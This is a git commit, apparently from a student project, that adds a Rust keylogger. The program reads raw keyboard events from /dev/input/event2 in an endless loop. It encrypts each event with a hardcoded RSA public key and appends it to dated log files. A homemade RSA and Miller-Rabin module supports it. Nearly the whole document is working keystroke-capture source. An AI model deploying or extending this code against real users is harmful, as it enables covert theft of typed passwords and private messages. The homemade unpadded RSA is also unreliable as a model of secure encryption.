Saataa andagii !

This commit is contained in:
Lukian 2024-11-30 18:31:38 +01:00
commit 092492ba24
13 changed files with 389 additions and 0 deletions

4
keylogger/.gitignore vendored Normal file
View file

@ -0,0 +1,4 @@
/target
Cargo.lock
/src/config.json
/src/data/logs/*

13
keylogger/Cargo.toml Normal file
View file

@ -0,0 +1,13 @@
[package]
name = "projet-pei"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
chrono = "0.4.38"
libc = "0.2.153"
num-bigint = { version = "0.4.4", features = ["rand"] }
num-bigint-dig = "0.8.4"
rand = "0.8.5"

3
keylogger/README.md Normal file
View file

@ -0,0 +1,3 @@
# Rust Keylogger with RSA encryption
This is a Keylogger with RSA encryption built in rust. It is a school project.

View file

@ -0,0 +1,43 @@
use std::fs::File;
use std::io::Read;
use std::mem;
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct Timeval {
pub tv_sec: libc::c_long,
pub tv_usec: libc::c_long,
}
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct InputEvent {
pub time: Timeval,
pub type_: libc::c_ushort,
pub code: libc::c_ushort,
pub value: libc::c_uint,
}
pub struct KeyLogger {
event_file: File
}
impl KeyLogger {
pub fn new(event_file: &str) -> KeyLogger {
KeyLogger {
event_file: File::open(event_file).expect("Error while opening the file")
}
}
pub fn get_current_event(&mut self) -> [u8; mem::size_of::<InputEvent>()] {
let mut event_data = [0u8; mem::size_of::<InputEvent>()];
self.event_file.read_exact(&mut event_data).expect("Error while reading event file");
/*
let event: InputEvent = unsafe { *(event_data.as_ptr() as *const InputEvent) };
println!("{:?}", event);
*/
return event_data;
}
}

47
keylogger/src/main.rs Normal file
View file

@ -0,0 +1,47 @@
mod keylogger;
mod rsa;
use keylogger::KeyLogger;
use rsa::{gen_keys, pad_data};
use chrono::{DateTime, Local};
use num_bigint_dig::{ToBigUint, RandBigInt, BigUint};
use std::path::Path;
use std::fs::File;
use std::fs::OpenOptions;
use std::io::prelude::*;
fn main() {
let e = BigUint::parse_bytes(b"65537", 10)
.unwrap();
let n = BigUint::parse_bytes(b"726893654806863106618546895057273655441264661325145055622991128175682274731729906015556264256579162493516172845029834644722324327896454261243147930093884060587847049206343040997875678249683217673083057390927228523219516562706789293756062419996669732335698292474241738313810472297868623226097796896132340484716735649944952179058084460249003603199405921560958818961267822766679758920394983786136620924522112830057005196535366761215933393212482864750854232592685811474461298568003115633675850369800934986362845952917985790835063623075408167396594117256336524956863695783013250764066998836408497995291717070517025671368786854251119784534482238786198981808730172431511580525492332130939522228645811310849928074140276569038233908484935569527065290886443920205920064757536160231476433607492303337517653184135797961475927231058895093552142050530878770429480616001550597029356030412941690284376485270056410912518806914509324633661109", 10)
.unwrap();
let mut test = KeyLogger::new("/dev/input/event2");
let current_local: DateTime<Local> = Local::now();
let custom_format = current_local.format("%Y-%m-%d");
let logs_file_url = format!("./src/data/logs/{}.log", custom_format);
if !Path::new(logs_file_url.as_str()).exists() {
File::create(logs_file_url.as_str())
.expect("Error while creating the file");
}
let mut logs_file = OpenOptions::new()
.append(true)
.open(logs_file_url.as_str())
.expect("Error while opening the file");
loop {
let event = &mut test.get_current_event();
let padded_event = pad_data(event.to_vec(), 3072);
let event_as_bigint = BigUint::from_bytes_be(&padded_event);
let cypher = event_as_bigint.clone().modpow(&e, &n);
let buffer = pad_data(cypher.clone().to_bytes_be(), 3072);
println!("{:?}", buffer.len());
let _ = logs_file.write_all(&buffer);
}
}

103
keylogger/src/rsa.rs Normal file
View file

@ -0,0 +1,103 @@
use num_bigint_dig::{ToBigUint, RandBigInt, BigUint};
use num_bigint_dig::traits::ModInverse;
fn get_s_and_d(n: &BigUint) -> (BigUint, BigUint) {
let mut d = n - 1.to_biguint().unwrap();
let mut s = 0.to_biguint().unwrap();
while &d % 2.to_biguint().unwrap() == 0.to_biguint().unwrap() {
s += 1.to_biguint().unwrap();
d /= 2.to_biguint().unwrap();
}
(d, s)
}
fn miller_witness(n: &BigUint, a: &BigUint) -> bool {
let (d, s) = get_s_and_d(&n);
let mut x = a.modpow(&d, &n);
if x == 1.to_biguint().unwrap() {
return false;
}
let mut i = 0.to_biguint().unwrap();
while i < s.clone(){
if x == n.clone() - 1.to_biguint().unwrap() {
return false;
}
x = x.modpow(&2.to_biguint().unwrap(), &n);
i += 1.to_biguint().unwrap();
}
true
}
fn is_prime(n: BigUint, k: u16) -> bool {
if n.clone() == 3.to_biguint().unwrap() || n.clone() == 2.to_biguint().unwrap() {
return true;
}
if n.clone() == 1.to_biguint().unwrap() {
return false;
}
if n.clone() % 2.to_biguint().unwrap() == 0.to_biguint().unwrap() {
return false;
}
for _ in 0..k {
let mut rng = rand::thread_rng();
let min = 2.to_biguint().unwrap();
let max = n.clone() - 1.to_biguint().unwrap();
let a = rng.gen_biguint_range(&min, &max);
if miller_witness(&n, &a) {
return false;
}
}
return true;
}
fn gen_prime_number(lenght: usize) -> BigUint {
let mut rng = rand::thread_rng();
let mut a = rng.gen_biguint(lenght);
while !is_prime(a.clone(), 50) {
a = rng.gen_biguint(lenght);
}
a
}
pub fn gen_keys(lenght: usize) -> (BigUint, BigUint, BigUint) {
let p = gen_prime_number(lenght / 2);
let mut q = gen_prime_number(lenght / 2);
while p == q {
q = gen_prime_number(lenght / 2);
}
let n = &p * &q;
let phi_n = (&p - 1.to_biguint().unwrap()) * (&q - 1.to_biguint().unwrap());
let e = 65537.to_biguint().unwrap();
let d = e.clone().mod_inverse(&phi_n).unwrap().to_biguint().expect("error");
(e, d, n)
}
pub fn pad_data(data: Vec<u8>, length: usize) -> Vec<u8> {
let mut padded_data = data;
let num_zeros = (length / 8) - padded_data.len();
for _ in 0..num_zeros {
padded_data.insert(0, 0);
}
padded_data
}